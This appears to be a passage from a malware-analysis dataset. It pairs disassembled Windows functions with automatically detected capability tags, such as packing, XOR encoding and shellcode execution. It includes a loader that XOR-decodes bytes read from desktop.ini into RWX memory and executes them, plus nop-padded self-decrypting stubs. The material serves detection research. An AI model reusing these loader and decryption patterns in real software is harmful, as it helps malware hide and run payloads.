joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402120
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40803c]
sub esp, 4
test ebx, ebx
je 0x40216b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402164
test esi, esi
je 0x402164
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402140
mov dword [esp], 0x408044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402350
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4023a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402478
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4023de
cmp eax, 4
jne 0x402400
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4023ee
cmp edx, 4
je 0x4023ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402350
Function at 0x4042b0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x4042e6
jmp 0x40431e
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x4042e3
cmp al, 9
je 0x4042e3
cmp al, 0x22
jne 0x404307
jmp 0x404366
cmp al, 9
je 0x404313
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x404300
jmp 0x404313
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x404310
cmp al, 9
je 0x404310
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40432d
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x404372
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x404362
cmp al, 0x22
jne 0x404313
lea ebx, [edx + 2]
jmp 0x404313
Function at 0x4218a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
or ebp, 0xffffffff
jmp 0x4218c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4218c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4218b8
mov eax, 1
add ebx, ebx
jne 0x4218db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4218d0
jne 0x4218ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4218d0
xor ecx, ecx
sub eax, 3
jb 0x421900
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x421972
mov ebp, eax
add ebx, ebx
jne 0x42190b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x421918
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42193c
inc ecx
add ebx, ebx
jne 0x421928
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42191d
jne 0x421939
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42191d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42195c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42194d
jmp 0x4218be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42195c
add edi, ecx
jmp 0x4218be
pop esi
mov edi, esi
mov ecx, 0x1a2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42197a
cmp byte [edi], 4
jne 0x42197a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42197f
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x4219f7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x218f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x21930]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4219ac
mov ecx, edi
jns 0x4219db
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x21934]
or eax, eax
je 0x4219f1
mov dword [ebx], eax
add ebx, 4
jmp 0x4219c9
call dword [esi + 0x2193c]
mov ebp, dword [esi + 0x21938]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x421a2b
sub esp, 0xffffff80
jmp 0x402a40
Function at 0x44f769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x453190
cmp edx, dword [eax]
je 0x44f78b
add eax, 8
inc ecx
cmp eax, 0x453220
jl 0x44f77c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x453190]
jne 0x44f8b9
mov eax, dword [0x453bb0]
cmp eax, 1
je 0x44f893
test eax, eax
jne 0x44f7bc
cmp dword [0x4530e4], 1
je 0x44f893
cmp edx, 0xfc
je 0x44f8b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x44f7f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00450670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00450490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x44f836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00450490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x45245c
push edi
call fcn.00450f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00450670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00450680
lea eax, [ebp - 0xa0]
push 0x45243c
push eax
call fcn.00450680
push dword [esi + 0x453194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00450680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00450e75
add esp, 0x2c
pop edi
jmp 0x44f8b9
lea eax, [ebp + 8]
lea esi, [esi + 0x453194]
push 0
push eax
push dword [esi]
call fcn.00450490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4c9aa0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x87000]
push edi
jmp 0x4c9aba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c9ac1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9ab0
mov eax, 1
add ebx, ebx
jne 0x4c9ad3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c9ae4
jne 0x4c9b03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9b03
dec eax
add ebx, ebx
jne 0x4c9af0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c9ac8
add ebx, ebx
jne 0x4c9aff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c9b55
xor ecx, ecx
sub eax, 3
jb 0x4c9b1b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c9b8a
sar eax, 1
mov ebp, eax
jmp 0x4c9b26
add ebx, ebx
jne 0x4c9b26
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9af4
inc ecx
add ebx, ebx
jne 0x4c9b34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c9af4
add ebx, ebx
jne 0x4c9b41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c9b36
jne 0x4c9b52
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c9b36
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c9b74
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c9b66
jmp 0x4c9ab6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c9b74
add edi, ecx
jmp 0x4c9ab6
pop esi
mov edi, esi
mov ecx, 0x377e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c9b92
cmp byte [edi], 0x11
jne 0x4c9b92
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c9b97
lea edi, [esi + 0xc5000]
mov eax, dword [edi]
or eax, eax
je 0x4c9c0f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe226c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe23c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c9bc4
mov ecx, edi
jns 0x4c9bf3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe23c4]
or eax, eax
je 0x4c9c09
mov dword [ebx], eax
add ebx, 4
jmp 0x4c9be1
call dword [esi + 0xe23d4]
mov ebp, dword [esi + 0xe23c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c9c43
sub esp, 0xffffff80
jmp 0x416310
Function at 0x42e002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x79241bb5
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..rsrc
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x42ab3731
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x438c94
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x438a14
or esi, ecx
or ecx, esi
call fcn.00438cd9
add esi, 1
xor dword [edi], edx
sub ecx, 0x5c6bd394
add ecx, esi
sub esi, esi
inc edi
sub ecx, 0x79cf0519
mov esi, 0x9b710baf
or ecx, esi
cmp edi, eax
jne fcn.00438c94
mov esi, ecx
push ecx
pop esi
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
pcmpeqw mm7, mm7
push ecx
pxor mm6, mm6
push esi
psllw mm7, 0xf
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
sub eax, 4
jl 0x401099
jmp 0x401040
movq mm0, qword [esi]
pxor mm0, mm7
movq mm3, mm0
movq mm1, qword [ebx + esi]
punpcklwd mm0, mm6
pxor mm1, mm7
movq mm2, qword [esi + ebx*2]
movq mm4, mm1
pxor mm2, mm7
add edi, 0x10
prefetcht0 byte [esi + ebx*2 + 0x40]
punpcklwd mm1, mm6
movq mm5, mm2
punpcklwd mm2, mm6
paddd mm1, mm1
punpckhwd mm3, mm6
paddd mm0, mm2
punpckhwd mm4, mm6
paddd mm0, mm1
punpckhwd mm5, mm6
paddd mm4, mm4
paddd mm3, mm5
paddd mm3, mm4
movq qword [edi - 0x10], mm0
add esi, 8
sub eax, 4
movq qword [edi - 8], mm3
jge 0x401040
add eax, 4
jle 0x4010ce
push edx
movzx ecx, word [esi]
xor ecx, 0x8000
movzx edx, word [ebx + esi]
xor edx, 0x8000
add edx, edx
add ecx, edx
movzx edx, word [esi + ebx*2]
xor edx, 0x8000
add ecx, edx
add esi, 2
mov dword [edi], ecx
add edi, 4
dec eax
jg 0x40109f
pop edx
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x5f9a54
Capabilities:
Encode data using xor

Disassembly:
fnsave dword ss:[esi]
fnsave dword [esi]
mov edx, 0x9400cd79
jo 0x5f9aa1
xchg ebx, eax
push ebx
dec ebp
mov dl, 0x1e
stosd dword es:[edi], eax
cmpsd dword [esi], dword es:[edi]
out dx, al
push edx
xchg esi, eax
inc edi
add byte [ebp + 0x21], 0x80
stosb byte es:[edi], al
jb 0x5f9a53
pop ebp
sub al, 0x47
cmpsb byte [esi], byte es:[edi]
fcom dword [0x67dbe686]
loopne 0x5f9aec
test byte [ebx + 0x30], dl
push esi
push ss
iretd
invalid
push ds
hlt
jo 0x5f9ab5
and al, 0xd4
xlatb
and edi, dword [edx + esi*2]
ror byte [edx - 0x5a], 0x3a
xchg esp, eax
inc eax
aas
cmpsb byte [esi], byte es:[edi]
push esi
ret 0x531e

Function at 0x643ff4
Capabilities:
Encode data using xor

Disassembly:
adc ebx, edi
xchg esp, eax
fcom dword [0xfdade923]
ret
dec ebx
xchg esp, eax
add eax, 0xcdc5e374
cmpsb byte [esi], byte es:[edi]
test dword [eax], eax
cmp eax, 0x56e2b019
in al, dx
push esp
mov cl, 0xa3
mov dword [0xba669dc1], eax
cld
or eax, 0xccb1f5af
rcr dword [ebp + 0xdfcba66], 0xaf
cmc
mov cl, 0xcc
jnp 0x643ff5
inc ecx
pop es
push ebx
shl byte [ecx + 0x2efc538c], 0x4a
xchg ebp, eax
jno 0x643ff6
pop eax
xchg ebx, eax
mov ecx, 0x1331f10d
jg 0x643fd0
and al, bl
rcl ebx, 0xb8
push 0x24
pop ebp
mov edi, 0x9f2d7703
dec edx
mov edx, 0x6d7e8003
neg ecx
fistp word [edx + eax*4]
insd dword es:[edi], dx
jge 0x643fe3
cmp dword [ebp - 0x2cc16910], ebx
in al, dx
ror bh, 1
pop ebx
cmp ah, bl
popfd
push 0x4a
sar ch, 0xc2
std
inc dword [eax]
mov dh, byte [esi]
and dword [ecx - 0x2a], ebp
sahf
mov al, byte [0xe97aafbb]
out 0x2d, eax
mov dword [ecx - 0x2f], edx
stosb byte es:[edi], al
mov ebp, 0xf6356df5
invalid
Function at 0x64f9d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
pcmpeqw mm7, mm7
push ecx
pxor mm6, mm6
push esi
psllw mm7, 0xf
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
sub eax, 4
jl 0x64fa69
jmp 0x64fa10
movq mm0, qword [esi]
pxor mm0, mm7
movq mm3, mm0
movq mm1, qword [ebx + esi]
punpcklwd mm0, mm6
pxor mm1, mm7
movq mm2, qword [esi + ebx*2]
movq mm4, mm1
pxor mm2, mm7
add edi, 0x10
prefetcht0 byte [esi + ebx*2 + 0x40]
punpcklwd mm1, mm6
movq mm5, mm2
punpcklwd mm2, mm6
paddd mm1, mm1
punpckhwd mm3, mm6
paddd mm0, mm2
punpckhwd mm4, mm6
paddd mm0, mm1
punpckhwd mm5, mm6
paddd mm4, mm4
paddd mm3, mm5
paddd mm3, mm4
movq qword [edi - 0x10], mm0
add esi, 8
sub eax, 4
movq qword [edi - 8], mm3
jge 0x64fa10
add eax, 4
jle 0x64fa9e
push edx
movzx ecx, word [esi]
xor ecx, 0x8000
movzx edx, word [ebx + esi]
xor edx, 0x8000
add edx, edx
add ecx, edx
movzx edx, word [esi + ebx*2]
xor edx, 0x8000
add ecx, edx
add esi, 2
mov dword [edi], ecx
add edi, 4
dec eax
jg 0x64fa6f
pop edx
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x724f74
Capabilities:
Encode data using xor

Disassembly:
sbb al, 0x84
cmpsb byte [esi], byte es:[edi]
out 0xd0, eax
rcr ah, cl
mov esi, dword [ebx - 0x5aefd9ee]
push es
add dl, ah
add eax, 0x5d07117c
mov bh, byte [edi + 0x2a]
xor al, 0x71
mov ch, 0xd4
adc dh, ah
push esi
push esp
xor byte [ebx - 0x8eb6bc3], bl
in al, 0x95
xchg ebp, eax
mov dword [0xe1d520d4], eax
xor dword [esi - 0x18ec56b3], esi
cmc
imul ebp, dword [edx - 0x7e], 0x2454f645
and ecx, dword [edi + eax*2]
push ebp
mov byte [0xe7757b16], al
out 0xc0, al
push edi
movsb byte es:[edi], byte fs:[esi]
fcmovne st(0), st(0)
mov ch, 0x82
mov ebx, 0xff026420
out dx, eax
and eax, 0x46e366
popfd
jb 0x724f81
jne 0x724f9b
jo 0x724f8c
or ebx, dword [edi]
in al, dx
loopne 0x724fd3
push ebp
xchg ebp, eax
push edi
inc esi
std
imul dword [0x96c7c454]
adc al, 0x90
pop ds
imul esp, dword [edx + 0x28], 0xffffffc0
pop es
xchg ebp, esp
imul eax, dword [ebp - 0x4ba4defb], 0x7b
wait
cli
push ss
test byte gs:[edx + 0x71], dh
xor dl, ch
sar byte [edi + 0x489612f4], cl
cli
insb byte es:[edi], dx
invalid
Function at 0x80039fd
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043a0], 0x30
mov dword [0x80043a8], 0x80032e8
mov dword [0x80043a4], 2
mov dword [0x80043ac], 0
mov dword [0x80043b0], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003a40
mov dword [0x80043b4], eax
mov dword [0x80043c8], 0x80041d4
mov dword [0x80043c0], 0xf
mov dword [0x80040f6], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043b8], eax
mov dword [0x80043cc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x80040fe], ebp
mov dword [0x80043bc], eax
push 0x80043a0
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004420], eax
push 0
push dword [0x80040f6]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x8004418], eax
push 1
push dword [0x8004418]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x8004418]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003afe
xor edi, edi
lea ebx, [0x80043d0]
jmp 0x8003b16
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003b08
jmp 0x8003b2a
mov eax, dword [0x80043d8]
call 0x80029cd
ret

Function at 0x450012
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword fs:[0], esp
xor ebx, ebx
push ebx
push ebx
push 0x80000000
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [0x44ff28]
sub edi, edi
sub ecx, ecx
mov cl, 0xe5
inc edi
loop 0x45003a
call 0x450042
pop esi
sub esi, 0xffffffc2
push esi
sub ebx, ebx
or ebx, 0x2394
mov al, byte [esi]
xor ax, di
xchg byte [esi], al
inc esi
sub ebx, 1
cmp ebx, 0
ja 0x450052
pop esi
mov esp, dword fs:[0]
pop dword fs:[0]
pop edi
pop ebp
jmp esi
Function at 0x40108c
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push ebx
push esi
push edi
lea eax, [ebp - 0x220]
push eax
mov edi, 0x104
push edi
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
push dword [ebp + 8]
call fcn.004013fe
call fcn.0040e2b5
test eax, eax
je 0x4010dd
push 0x10
push 0x46bd8e
push str.This_is_a_compiled_AutoIt_script._AV_researchers_please_email_avsupport_autoitscript.com_for_support.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4012b3
cmp dword [0x48b7e8], 0
mov ebx, 0x48b7fc
jne 0x40110b
push 0xffffffffffffffff
push dword [0x48b7f0]
mov esi, 0x48d8b0
push 1
call fcn.004065b2
mov al, byte [0x4795bd]
mov byte [0x48d8b2], al
jmp 0x401159
lea eax, [ebp - 2]
push eax
push 0x48b7e8
mov esi, ebx
mov eax, 0x48d8b0
call fcn.00406bfc
test al, al
jne 0x401133
mov dword [0x4795d4], 1
jmp 0x4012a6
mov al, byte [0x48d8b0]
mov byte [0x48b7ec], al
mov al, byte [0x48d8b1]
push 0x48b7e4
mov byte [ebp - 1], al
lea eax, [ebp - 0x430]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
push dword [0x48b7e8]
push ebx
call fcn.00418bd1
test eax, eax
je 0x40118f
mov edi, 0x48d8b0
call fcn.0040677e
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryW]
mov dword [0x4795d4], 1
jmp 0x4012b3
cmp byte [ebp - 1], 1
jne 0x401241
cmp byte [0x48b7bd], 1
jne 0x401241
call fcn.0040d99a
test al, al
jne 0x401241
push edi
lea eax, [ebp - 0x430]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
cmp byte [ebp - 2], 0
je 0x40121a
mov edi, 0x46bdf8
push edi
lea esi, [ebp - 0x10]
call fcn.0040e30a
push ebx
mov eax, esi
call fcn.0040e505
push edi
mov eax, esi
call fcn.0040e505
push 1
lea eax, [ebp - 0x220]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x430]
push eax
push 0x46bdfc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp - 0x10]
call fcn.0044e722
pop ecx
jmp 0x40129c
push 1
lea eax, [ebp - 0x220]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x430]
push eax
push 0x46bdfc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40129c
call fcn.004012ba
call fcn.0040138d
cmp byte [0x48b7ec], 0
jne 0x40125e
mov edi, 0x48c258
call fcn.00409f5a
push 1
mov ecx, 0x48ba08
call fcn.00418d3c
cmp byte [0x48b7ec], 0
jne 0x40129c
mov edi, 0x48d07c
mov esi, dword [edi]
test esi, esi
je 0x401291
push dword [esi + 8]
call fcn.0044e722
pop ecx
push esi
call fcn.0044e722
and dword [edi], 0
pop ecx
add edi, 4
cmp edi, 0x48d898
jl 0x401278
mov edi, 0x48d8b0
call fcn.0040677e
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryW]
pop edi
pop esi
pop ebx
leave
ret 4